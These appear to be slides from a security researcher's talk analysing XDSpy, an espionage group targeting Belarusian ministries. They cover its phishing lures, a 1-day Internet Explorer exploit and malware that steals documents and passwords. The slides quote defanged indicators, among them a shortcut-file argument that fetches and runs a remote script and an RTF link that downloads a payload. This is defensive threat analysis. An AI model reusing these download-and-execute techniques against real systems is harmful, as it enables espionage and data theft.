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XDSpy: 
3 reasons why it is interesting.
The 3rd one will surprise you!



Interesting, really?

1. APT left undocumented from 2011 to 
February 2020



https://cert.by/?p=1458



CERT.BY IOCs



BY Targets

Council of the Republic;
Council of Ministers;
Ministry of Economics;
Ministry of Finance;
Ministry of Industry;
Ministry of Information;
State Committee for Standardization;



Interesting, really?

1. Left undocumented from 2011 to February 
2020

2. The targeting is unusual
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Interesting, really?

1. Left undocumented from 2011 to February 
2020

2. The targeting is unsual

3. Some malware development choices attracted 
our curiosity



Surprise: Unusual malware development choices
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Attribution

•The developers and operators didn't leave 
attribution clues

•Targeting + goal => likely a state-sponsored 
group



Compromise Vector





Malware archeology



Decoy PowerPoint presentation



2019 – Early 2020



After a click on the link...



.lnk

•No timestamp

•Account SID: 
S-1-5-21-1687353570-41962310-3587325082-1001

•Arguments:
javascript:document.write();GetObject("script: 

https://filedownload[.]email/filedownload/

download2.php?f=9840975039475")



Final compromise step

•We were not able to recover the script 
downloaded by the .lnk

•Shortly after the .lnk execution, XDDown (main 
component) is dropped on disk



February 2020: Unexpected disinformation campaign



February 2020: Unexpected disinformation campaign

•This email states that the first cases of COVID-19 
were discovered in Belarus

• It was sent before the official first cases in BY 

•The copy of the spearphishing email was shared 
on many social networks



End of Feb. 2020 to June 2020

Zzzz...



June 2020: The come-back

•Spearphising campaign started on 29/06

•Similar TTPs
• Spearphising campaign

• ZIP files as attachments

•Malicious RTF file





RTF

•OLE link object

• It downloads the next stage from
https://minisnowhair[.]com/minisnw2/downl

oad2.php?f=htm-2-ads19u09ue11&u=<uuid>











It looks familiar...



Jscript UAF vulnerabilities

• In the past 2 years, 4 similar use-after-free 
vulnerabilities were discovered in the IE 
JavaScript engine

•Most of them were apparently used by 
DarkHotel. Ex: 
https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-
0day.html

https://blogs.jpcert.or.jp/en/2020/04/ie-firefox-0day.html


Jscript UAF vulnerabilities

•@_clem1 made an excellent presentation at 
SSTIC about these vulns: 
https://www.sstic.org/media/SSTIC2020/SSTIC-
actes/cloture_2020/SSTIC2020-Slides-
cloture_2020-lecigne.pdf

•The 3 next slides are taken from his presentation

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/cloture_2020/SSTIC2020-Slides-cloture_2020-lecigne.pdf








Back to XDSpy

•CVE-2020-0674 was patched in Feb 2020

•XDSpy's exploit work with a machine with Feb 
2020 updates





XDSpy 1-day exploit

•This is CVE-2020-0968. It was patched in April 
2020 -> 1-day exploit

•No public POC is available

•XDSpy's exploit looks similar to the previous 
exploits



XDSpy 1-day exploit

•We don't believe XDSpy is linked to Dark Hotel

• It is possible XDSpy bought the exploit from the 
same developper

•Or they developped their own variant from in-
the-wild samples



Malware Components





XDDown: The main component

•Persistence using the Run key

•C&C and paths are hardcoded

•Strings are obfuscated with a Caesar Cipher (the 
key is random and different for each string)



XDDown: Capabilities

•Downloads, writes and load DLLs
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XDList + XDMonitor

•Crawls local drives + monitor removable drives

•Extensions: .accdb, .doc, .docm, .docx, 
.mdb, .xls, .xlm, .xlsx, .xlsm, .odt, 

.ost, .ppt, .pptm, .ppsm, .pptx, .sldm, 

.pst, .msg, .pdf, .eml, .wab



XDUpload



Other components

•XDRecon: Gather basic machine information

•XDPass: Password stealer

•XDLoc: Gather nearby SSID (probably for 
geolocation)
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Conclusion

• Previously unknown APT group active for 9 years

• Their malware architecture is unusual

• They used a non-public 1-day exploit

• Their main goal is to steal documents

• Thanks to Antti Tikkanen (from Google’s Threat
Analysis Group) for the initial hint



Questions?


